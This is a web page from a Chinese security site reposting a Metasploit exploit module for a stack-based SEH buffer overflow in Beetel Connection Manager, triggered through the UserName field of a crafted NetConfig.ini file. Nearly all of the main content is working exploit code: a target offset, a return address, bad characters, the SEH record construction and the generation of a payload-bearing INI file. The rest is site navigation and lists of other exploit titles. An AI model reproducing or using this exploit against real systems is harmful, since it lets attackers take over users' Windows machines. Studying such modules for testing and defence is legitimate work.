首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Beetel Connection Manager NetConfig.ini Buffer Overflow
来源:metasploit.com 作者:wvu 发布时间:2013-10-31  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class Metasploit4 < Msf::Exploit

  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
      'Description' => %q{
        This module exploits a stack-based buffer overflow on Beetel Connection Manager. The
        vulnerability exists in the parising of the UserName parameter in the NetConfig.ini
        file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP
        SP3 and Windows 7 SP1.b
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          "metacom", # Vuln/PoC
          "wvu" # Metasploit
        ],
      'References'     =>
        [
          [ "OSVDB", "98714" ],
          [ "EDB", "28969" ]
        ],
      'Payload'        =>
        {
          "Space"       => 1504,
          "BadChars"    => "\x00\x09\x0a\x0b\x0c\x0d\x20",
          "DisableNops" => true
        },
      'Platform'       => "win",
      'Targets'        =>
        [
          ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)",
            {
              "Offset" => 468,
              "Ret"    => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 12 2013",
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
      OptString.new("SECTION", [true, "Section name", "Edit Me"])
    ], self.class)
  end

  def exploit
    section = datastore["SECTION"]

    sploit = "[#{section}]\r\n" \
             "UserName=#{shell_popper}"

    file_create(sploit)
  end

  def shell_popper
    junk = rand_text(target["Offset"])
    seh = generate_seh_record(target.ret)
    jump = Rex::Arch::X86.jmp_short(66)
    padding = rand_text(66) # Pad past buffer corruption

    junk << seh << jump << padding << payload.encoded
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ProcessMaker Open Source Authe
·Moodle Remote Command Executio
·Apache / PHP Remote Command Ex
·OpenMediaVault Cron Remote Com
·sup Remote Command Execution
·ISPConfig Authenticated Arbitr
·Apache / PHP 5.x Remote Code E
·Zabbix Authenticated Remote Co
·WatchGuard Firewall XTM 11.7.4
·NAS4Free Arbitrary Remote Code
·WatchGuard Firewall XTM 11.7.4
·vTiger CRM 5.3.0 / 5.4.0 Authe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved